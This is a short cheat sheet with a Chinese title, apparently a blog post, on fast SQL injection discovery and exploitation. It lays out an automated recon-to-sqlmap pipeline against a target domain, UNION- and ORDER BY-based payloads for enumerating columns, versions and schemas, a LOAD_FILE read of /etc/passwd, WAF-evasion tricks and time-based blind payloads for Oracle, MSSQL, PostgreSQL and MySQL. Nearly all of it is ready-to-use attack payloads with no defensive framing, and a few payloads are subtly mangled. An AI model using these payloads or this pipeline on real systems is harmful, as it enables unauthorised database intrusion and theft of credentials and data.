【原】我要悄悄地注入，然后惊艳所有人！（SQL快速注入漏洞技巧）

　　1. Capture the request using burpsuite.

　　2. Send the request to burp scanner.

　　3. Proceed with active scan.

　　4. Once the scan is finished, look for SQL vulnerability that has been detected.

　　5. Manually try SQL injection payloads.

　　6. Use SQLMAP to speed up the process.

　　

　　1. sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)

　　2. cat domains | httpx | tee -a alive

　　3. cat alive | waybackurls | tee -a urls

　　4. gf sqli urls >> sqli

　　5. sqlmap -m sqli --dbs --batch

　　6. use tamper scripts

　　

　　1. Use subdomain enumeration tools on the domain.

　　2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.

　　3. You can use the same method described above in 2nd point.

　　4. Use Arjun to scan for the hidden params in the urls.

　　5. Use --urls flag to include all urls.

　　6. Check the params as domain?=

　　7. Send request to file and process it through sqlmap.

　　

　　1. Submit single quote character ' & look for errors.

　　2. Submit SQL specific query.

　　3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.

　　4. Submit certain payloads that results in time delay.

　　

　　Submit a series of ORDER BY clause such as

　　' ORDER BY 1 --

　　' ORDER BY 2 --

　　' ORDER BY 3 --

　　and incrementing specified column index until an error occurs.

　　

　　Submit a series of UNION SELECT payloads.

　　' UNION SELECT NULL --

　　' UNION SELECT NULL, NULL --

　　' UNION SELECT NULL, NULL, NULL --

　　(Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)

　　

　　1. 数据库版本

　　Oracle SELECT banner FROM v$version

　　SELECT version FROM v$instance

　　Microsoft SELECT @@version

　　PostgreSQL SELECT version()

　　MySQL SELECT @@version

　　2. 数据库内容

　　Oracle SELECT * FROM all_tables

　　SELECT * FROM all_tab_columns WHERE table_name='TABLE-NAME-HERE'

　　Microsoft SELECT * FROM information_schema.tables

　　SELECT * FROM information_schema.columns WHERE table_name='TABLE-NAME-HERE'

　　PostgreSQL SELECT * FROM information_schema.tables

　　SELECT * FROM information_schema.columns WHERE table_name='TABLE-NAME-HERE'

　　MySQL SELECT * FROM information_schema.tables

　　SELECT * FROM information_schema.columns WHERE table_name='TABLE-NAME-HERE'

　　3. 显示版本、用户和数据库名称

　　' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())

　　4.使用group_concat()函数，用于连接返回结果的所有行。

　　' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–

　　

　　' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')

　　1. 在 SQL 查询之前使用 Null 字节

　　%00' UNION SELECT password FROM Users WHERE username-'xyz'--

　　2.使用SQL内联注释序列

　　'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--

　　3.古董网址编码

　　for example :

　　/ URL encoded to %2f

　　* URL encoded to %2a

　　Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.

　　4. 改变大小写（大写/小写）

　　5. 使用 SQLMAP 篡改脚本。它有助于绕过 WAF/IDS/IPS。

　　6. 时间延迟：

　　Oracle dbms_pipe.receive_message(('a'),10)

　　Microsoft WAITFOR DELAY '0:0:10'

　　PostgreSQL SELECT pg_sleep(10)

　　MySQL SELECT sleep(10)

　　7. 有条件的延误：

　　Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

　　Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

　　PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

　　MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')